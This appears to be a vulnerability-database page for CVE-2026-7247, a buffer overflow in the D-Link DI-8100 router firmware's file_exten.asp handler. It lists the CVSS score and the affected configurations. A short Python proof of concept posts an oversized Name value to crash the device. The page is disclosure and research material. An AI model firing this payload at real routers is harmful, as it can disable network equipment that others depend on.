Security Vulnerability Report
中文
CVE-2026-7247 CVSS 7.2 HIGH

CVE-2026-7247

Published: 2026-04-28 09:16:18
Last Modified: 2026-04-30 13:09:18

Description

A vulnerability has been found in D-Link DI-8100 16.07.26A1. Affected by this issue is the function file_exten_asp of the file file_exten.asp of the component File Extension Handler. The manipulation of the argument Name leads to buffer overflow. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:di-8100_firmware:16.07.26a1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:di-8100:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8100 16.07.26A1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def trigger_overflow(target_ip): """ Proof of Concept for CVE-2026-7247 Sends a malicious payload to the vulnerable Name parameter. """ url = f"http://{target_ip}/file_exten.asp" # The payload length needs to exceed the buffer size to trigger the overflow # Adjust the length based on specific analysis of the firmware payload = "A" * 600 data = { "Name": payload, "submit": "Submit" } try: print(f"Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Request sent with status code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("Potential trigger successful. Check device status.") except requests.exceptions.RequestException as e: print(f"Connection error: {e}") print("The device might have crashed due to the overflow.") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP trigger_overflow(target)

References

Raw JSON Data

JSON
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